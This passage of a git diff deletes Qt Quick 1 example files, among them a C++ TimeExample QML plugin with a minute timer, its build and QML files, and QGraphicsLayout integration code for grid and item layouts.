a/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/clock.png and /dev/null differ diff --git a/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/hour.png b/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/hour.png deleted file mode 100644 index f8061a1235..0000000000 Binary files a/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/hour.png and /dev/null differ diff --git a/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/minute.png b/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/minute.png deleted file mode 100644 index 1297ec7c2b..0000000000 Binary files a/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/minute.png and /dev/null differ diff --git a/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/qmldir b/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/qmldir deleted file mode 100644 index e1288cfac0..0000000000 --- a/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/qmldir +++ /dev/null @@ -1,2 +0,0 @@ -Clock 1.0 Clock.qml -plugin qmlqtimeexampleplugin diff --git a/examples/declarative/qtquick1/cppextensions/plugins/plugin.cpp b/examples/declarative/qtquick1/cppextensions/plugins/plugin.cpp deleted file mode 100644 index 6c9b635240..0000000000 --- a/examples/declarative/qtquick1/cppextensions/plugins/plugin.cpp +++ /dev/null @@ -1,157 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include - -// Implements a "TimeModel" class with hour and minute properties -// that change on-the-minute yet efficiently sleep the rest -// of the time. - -class MinuteTimer : public QObject -{ - Q_OBJECT -public: - MinuteTimer(QObject *parent) : QObject(parent) - { - } - - void start() - { - if (!timer.isActive()) { - time = QTime::currentTime(); - timer.start(60000-time.second()*1000, this); - } - } - - void stop() - { - timer.stop(); - } - - int hour() const { return time.hour(); } - int minute() const { return time.minute(); } - -signals: - void timeChanged(); - -protected: - void timerEvent(QTimerEvent *) - { - QTime now = QTime::currentTime(); - if (now.second() == 59 && now.minute() == time.minute() && now.hour() == time.hour()) { - // just missed time tick over, force it, wait extra 0.5 seconds - time.addSecs(60); - timer.start(60500, this); - } else { - time = now; - timer.start(60000-time.second()*1000, this); - } - emit timeChanged(); - } - -private: - QTime time; - QBasicTimer timer; -}; - -//![0] -class TimeModel : public QObject -{ - Q_OBJECT - Q_PROPERTY(int hour READ hour NOTIFY timeChanged) - Q_PROPERTY(int minute READ minute NOTIFY timeChanged) -//![0] - -public: - TimeModel(QObject *parent=0) : QObject(parent) - { - if (++instances == 1) { - if (!timer) - timer = new MinuteTimer(qApp); - connect(timer, SIGNAL(timeChanged()), this, SIGNAL(timeChanged())); - timer->start(); - } - } - - ~TimeModel() - { - if (--instances == 0) { - timer->stop(); - } - } - - int minute() const { return timer->minute(); } - int hour() const { return timer->hour(); } - -signals: - void timeChanged(); - -private: - QTime t; - static MinuteTimer *timer; - static int instances; -}; - -int TimeModel::instances=0; -MinuteTimer *TimeModel::timer=0; - -//![plugin] -class QExampleQmlPlugin : public QDeclarativeExtensionPlugin -{ - Q_OBJECT -public: - void registerTypes(const char *uri) - { - Q_ASSERT(uri == QLatin1String("com.nokia.TimeExample")); - qmlRegisterType(uri, 1, 0, "Time"); - } -}; -//![plugin] - -#include "plugin.moc" - -//![export] -Q_EXPORT_PLUGIN2(qmlqtimeexampleplugin, QExampleQmlPlugin); -//![export] diff --git a/examples/declarative/qtquick1/cppextensions/plugins/plugins.pro b/examples/declarative/qtquick1/cppextensions/plugins/plugins.pro deleted file mode 100644 index 816b9d05d6..0000000000 --- a/examples/declarative/qtquick1/cppextensions/plugins/plugins.pro +++ /dev/null @@ -1,24 +0,0 @@ -TEMPLATE = lib -CONFIG += qt plugin -QT += declarative - -DESTDIR = com/nokia/TimeExample -TARGET = qmlqtimeexampleplugin - -SOURCES += plugin.cpp - -qdeclarativesources.files += \ - com/nokia/TimeExample/qmldir \ - com/nokia/TimeExample/center.png \ - com/nokia/TimeExample/clock.png \ - com/nokia/TimeExample/Clock.qml \ - com/nokia/TimeExample/hour.png \ - com/nokia/TimeExample/minute.png - -qdeclarativesources.path += $$[QT_INSTALL_EXAMPLES]/declarative/plugins/com/nokia/TimeExample - -sources.files += plugins.pro plugin.cpp plugins.qml README -sources.path += $$[QT_INSTALL_EXAMPLES]/declarative/plugins -target.path += $$[QT_INSTALL_EXAMPLES]/declarative/plugins/com/nokia/TimeExample - -INSTALLS += qdeclarativesources sources target diff --git a/examples/declarative/qtquick1/cppextensions/plugins/plugins.qml b/examples/declarative/qtquick1/cppextensions/plugins/plugins.qml deleted file mode 100644 index 9240447bab..0000000000 --- a/examples/declarative/qtquick1/cppextensions/plugins/plugins.qml +++ /dev/null @@ -1,52 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import com.nokia.TimeExample 1.0 // import types from the plugin - -Clock { // this class is defined in QML (com/nokia/TimeExample/Clock.qml) - - Time { // this class is defined in C++ (plugin.cpp) - id: time - } - - hours: time.hour - minutes: time.minute -} -//![0] diff --git a/examples/declarative/qtquick1/cppextensions/plugins/plugins.qmlproject b/examples/declarative/qtquick1/cppextensions/plugins/plugins.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/cppextensions/plugins/plugins.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/layoutitem.pro b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/layoutitem.pro deleted file mode 100644 index 77c6b2a287..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/layoutitem.pro +++ /dev/null @@ -1,8 +0,0 @@ -TEMPLATE = app -TARGET = -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative - -SOURCES += main.cpp -RESOURCES += layoutitem.qrc diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qml b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qml deleted file mode 100644 index 072c0b188c..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qml +++ /dev/null @@ -1,57 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -LayoutItem { //Sized by the layout - id: resizable - - minimumSize: "100x100" - maximumSize: "300x300" - preferredSize: "100x100" - - Rectangle { color: "yellow"; anchors.fill: parent } - - Rectangle { - width: 100; height: 100 - anchors.top: parent.top; anchors.right: parent.right - color: "green" - } -} diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qmlproject b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qrc b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qrc deleted file mode 100644 index 2e5257866d..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - layoutitem.qml - - diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/main.cpp b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/main.cpp deleted file mode 100644 index 4b14a678d0..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/layoutitem/main.cpp +++ /dev/null @@ -1,74 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include -#include - -/* This example demonstrates using a LayoutItem to let QML snippets integrate - nicely with existing QGraphicsView applications designed with GraphicsLayouts -*/ -int main(int argc, char* argv[]) -{ - QApplication app(argc, argv); - - //Set up a graphics scene with a QGraphicsWidget and Layout - QGraphicsView view; - QGraphicsScene scene; - QGraphicsWidget *widget = new QGraphicsWidget(); - QGraphicsLinearLayout *layout = new QGraphicsLinearLayout(); - widget->setLayout(layout); - scene.addItem(widget); - view.setScene(&scene); - - //Add the QML snippet into the layout - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl(":layoutitem.qml")); - QGraphicsLayoutItem* obj = qobject_cast(c.create()); - layout->addItem(obj); - - widget->setGeometry(QRectF(0,0, 400,400)); - view.show(); - return app.exec(); -} diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.cpp b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.cpp deleted file mode 100644 index 98ee9c974c..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.cpp +++ /dev/null @@ -1,188 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "gridlayout.h" - -#include -#include - -GridLayoutAttached::GridLayoutAttached(QObject *parent) -: QObject(parent), m_row(-1), m_column(-1), m_rowspan(1), m_colspan(1), m_alignment(-1), m_rowStretch(-1), - m_colStretch(-1), m_rowSpacing(-1), m_colSpacing(-1), m_rowPrefHeight(-1), m_rowMaxHeight(-1), m_rowMinHeight(-1), - m_rowFixHeight(-1), m_colPrefwidth(-1), m_colMaxwidth(-1), m_colMinwidth(-1), m_colFixwidth(-1) -{ -} - -void GridLayoutAttached::setAlignment(Qt::Alignment a) -{ - if (m_alignment != a) { - m_alignment = a; - emit alignmentChanged(reinterpret_cast(parent()), m_alignment); - } -} - -QHash GraphicsGridLayoutObject::attachedProperties; - -GraphicsGridLayoutObject::GraphicsGridLayoutObject(QObject *parent) -: QObject(parent) -{ -} - -GraphicsGridLayoutObject::~GraphicsGridLayoutObject() -{ -} - -void GraphicsGridLayoutObject::addWidget(QGraphicsWidget *widget) -{ - //use attached properties - if (QObject *obj = attachedProperties.value(qobject_cast(widget))) { - int row = static_cast(obj)->row(); - int column = static_cast(obj)->column(); - int rowSpan = static_cast(obj)->rowSpan(); - int columnSpan = static_cast(obj)->columnSpan(); - if (row == -1 || column == -1) { - qWarning() << "Must set row and column for an item in a grid layout"; - return; - } - addItem(widget, row, column, rowSpan, columnSpan); - } -} - -void GraphicsGridLayoutObject::addLayoutItem(QGraphicsLayoutItem *item) -{ - //use attached properties - if (GridLayoutAttached *obj = attachedProperties.value(item)) { - int row = obj->row(); - int column = obj->column(); - int rowSpan = obj->rowSpan(); - int columnSpan = obj->columnSpan(); - Qt::Alignment alignment = obj->alignment(); - - if (row == -1 || column == -1) { - qWarning() << "Must set row and column for an item in a grid layout"; - return; - } - - if (obj->rowSpacing() != -1) - setRowSpacing(row, obj->rowSpacing()); - if (obj->columnSpacing() != -1) - setColumnSpacing(column, obj->columnSpacing()); - if (obj->rowStretchFactor() != -1) - setRowStretchFactor(row, obj->rowStretchFactor()); - if (obj->columnStretchFactor() != -1) - setColumnStretchFactor(column, obj->columnStretchFactor()); - if (obj->rowPreferredHeight() != -1) - setRowPreferredHeight(row, obj->rowPreferredHeight()); - if (obj->rowMaximumHeight() != -1) - setRowMaximumHeight(row, obj->rowMaximumHeight()); - if (obj->rowMinimumHeight() != -1) - setRowMinimumHeight(row, obj->rowMinimumHeight()); - if (obj->rowFixedHeight() != -1) - setRowFixedHeight(row, obj->rowFixedHeight()); - if (obj->columnPreferredWidth() != -1) - setColumnPreferredWidth(row, obj->columnPreferredWidth()); - if (obj->columnMaximumWidth() != -1) - setColumnMaximumWidth(row, obj->columnMaximumWidth()); - if (obj->columnMinimumWidth() != -1) - setColumnMinimumWidth(row, obj->columnMinimumWidth()); - if (obj->columnFixedWidth() != -1) - setColumnFixedWidth(row, obj->columnFixedWidth()); - - addItem(item, row, column, rowSpan, columnSpan); - - if (alignment != -1) - setAlignment(item, alignment); - QObject::connect(obj, SIGNAL(alignmentChanged(QGraphicsLayoutItem*, Qt::Alignment)), - this, SLOT(updateAlignment(QGraphicsLayoutItem*, Qt::Alignment))); - } -} - -void GraphicsGridLayoutObject::removeAt(int index) -{ - QGraphicsLayoutItem *item = itemAt(index); - if (item) { - GridLayoutAttached *obj = attachedProperties.value(item); - obj->disconnect(this); - attachedProperties.remove(item); - } - QGraphicsGridLayout::removeAt(index); -} - -void GraphicsGridLayoutObject::clearChildren() -{ - // do not delete the removed items; they will be deleted by the QML engine - while (count() > 0) - removeAt(count()-1); -} - -qreal GraphicsGridLayoutObject::spacing() const -{ - if (verticalSpacing() == horizontalSpacing()) - return verticalSpacing(); - return -1; -} - -qreal GraphicsGridLayoutObject::contentsMargin() const -{ - qreal a, b, c, d; - getContentsMargins(&a, &b, &c, &d); - if (a == b && a == c && a == d) - return a; - return -1; -} - -void GraphicsGridLayoutObject::setContentsMargin(qreal m) -{ - setContentsMargins(m, m, m, m); -} - -void GraphicsGridLayoutObject::updateAlignment(QGraphicsLayoutItem *item, Qt::Alignment alignment) -{ - QGraphicsGridLayout::setAlignment(item, alignment); -} - -GridLayoutAttached *GraphicsGridLayoutObject::qmlAttachedProperties(QObject *obj) -{ - GridLayoutAttached *rv = new GridLayoutAttached(obj); - if (qobject_cast(obj)) - attachedProperties.insert(qobject_cast(obj), rv); - return rv; -} - diff --git a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.h b/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.h deleted file mode 100644 index dd26ce9053..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.h +++ /dev/null @@ -1,217 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef GRIDLAYOUT_H -#define GRIDLAYOUT_H - -#include - -#include -#include - -class GridLayoutAttached; -class GraphicsGridLayoutObject : public QObject, public QGraphicsGridLayout -{ - Q_OBJECT - Q_INTERFACES(QGraphicsLayout QGraphicsLayoutItem) - - Q_PROPERTY(QDeclarativeListProperty children READ children) - Q_PROPERTY(qreal spacing READ spacing WRITE setSpacing) - Q_PROPERTY(qreal contentsMargin READ contentsMargin WRITE setContentsMargin) - Q_PROPERTY(qreal verticalSpacing READ verticalSpacing WRITE setVerticalSpacing) - Q_PROPERTY(qreal horizontalSpacing READ horizontalSpacing WRITE setHorizontalSpacing) - Q_CLASSINFO("DefaultProperty", "children") - -public: - GraphicsGridLayoutObject(QObject * = 0); - ~GraphicsGridLayoutObject(); - - QDeclarativeListProperty children() { return QDeclarativeListProperty(this, 0, children_append, children_count, children_at, children_clear); } - - qreal spacing() const; - qreal contentsMargin() const; - void setContentsMargin(qreal); - - void removeAt(int index); - - static GridLayoutAttached *qmlAttachedProperties(QObject *); - -private slots: - void updateAlignment(QGraphicsLayoutItem*,Qt::Alignment); - -private: - friend class GraphicsLayoutAttached; - - void addWidget(QGraphicsWidget *); - void clearChildren(); - void addLayoutItem(QGraphicsLayoutItem *); - - static void children_append(QDeclarativeListProperty *prop, QGraphicsLayoutItem *item) { - static_cast(prop->object)->addLayoutItem(item); - } - - static void children_clear(QDeclarativeListProperty *prop) { - static_cast(prop->object)->clearChildren(); - } - - static int children_count(QDeclarativeListProperty *prop) { - return static_cast(prop->object)->count(); - } - - static QGraphicsLayoutItem *children_at(QDeclarativeListProperty *prop, int index) { - return static_cast(prop->object)->itemAt(index); - } - - static QHash attachedProperties; -}; - - -class GridLayoutAttached : public QObject -{ - Q_OBJECT - - Q_PROPERTY(int row READ row WRITE setRow) - Q_PROPERTY(int column READ column WRITE setColumn) - - Q_PROPERTY(int rowSpan READ rowSpan WRITE setRowSpan) - Q_PROPERTY(int columnSpan READ columnSpan WRITE setColumnSpan) - Q_PROPERTY(Qt::Alignment alignment READ alignment WRITE setAlignment) - - Q_PROPERTY(int rowStretchFactor READ rowStretchFactor WRITE setRowStretchFactor) - Q_PROPERTY(int columnStretchFactor READ columnStretchFactor WRITE setColumnStretchFactor) - Q_PROPERTY(int rowSpacing READ rowSpacing WRITE setRowSpacing) - Q_PROPERTY(int columnSpacing READ columnSpacing WRITE setColumnSpacing) - - Q_PROPERTY(int rowPreferredHeight READ rowPreferredHeight WRITE setRowPreferredHeight) - Q_PROPERTY(int rowMinimumHeight READ rowMinimumHeight WRITE setRowMinimumHeight) - Q_PROPERTY(int rowMaximumHeight READ rowMaximumHeight WRITE setRowMaximumHeight) - Q_PROPERTY(int rowFixedHeight READ rowFixedHeight WRITE setRowFixedHeight) - - Q_PROPERTY(int columnPreferredWidth READ columnPreferredWidth WRITE setColumnPreferredWidth) - Q_PROPERTY(int columnMaximumWidth READ columnMaximumWidth WRITE setColumnMaximumWidth) - Q_PROPERTY(int columnMinimumWidth READ columnMinimumWidth WRITE setColumnMinimumWidth) - Q_PROPERTY(int columnFixedWidth READ columnFixedWidth WRITE setColumnFixedWidth) - -public: - GridLayoutAttached(QObject *parent); - - int row() const { return m_row; } - void setRow(int r) { m_row = r; } - - int column() const { return m_column; } - void setColumn(int c) { m_column = c; } - - int rowSpan() const { return m_rowspan; } - void setRowSpan(int rs) { m_rowspan = rs; } - - int columnSpan() const { return m_colspan; } - void setColumnSpan(int cs) { m_colspan = cs; } - - Qt::Alignment alignment() const { return m_alignment; } - void setAlignment(Qt::Alignment a); - - int rowStretchFactor() const { return m_rowStretch; } - void setRowStretchFactor(int f) { m_rowStretch = f; } - int columnStretchFactor() const { return m_colStretch; } - void setColumnStretchFactor(int f) { m_colStretch = f; } - - int rowSpacing() const { return m_rowSpacing; } - void setRowSpacing(int s) { m_rowSpacing = s; } - int columnSpacing() const { return m_colSpacing; } - void setColumnSpacing(int s) { m_colSpacing = s; } - - int rowPreferredHeight() const { return m_rowPrefHeight; } - void setRowPreferredHeight(int s) { m_rowPrefHeight = s; } - - int rowMaximumHeight() const { return m_rowMaxHeight; } - void setRowMaximumHeight(int s) { m_rowMaxHeight = s; } - - int rowMinimumHeight() const { return m_rowMinHeight; } - void setRowMinimumHeight(int s) { m_rowMinHeight = s; } - - int rowFixedHeight() const { return m_rowFixHeight; } - void setRowFixedHeight(int s) { m_rowFixHeight = s; } - - int columnPreferredWidth() const { return m_colPrefwidth; } - void setColumnPreferredWidth(int s) { m_colPrefwidth = s; } - - int columnMaximumWidth() const { return m_colMaxwidth; } - void setColumnMaximumWidth(int s) { m_colMaxwidth = s; } - - int 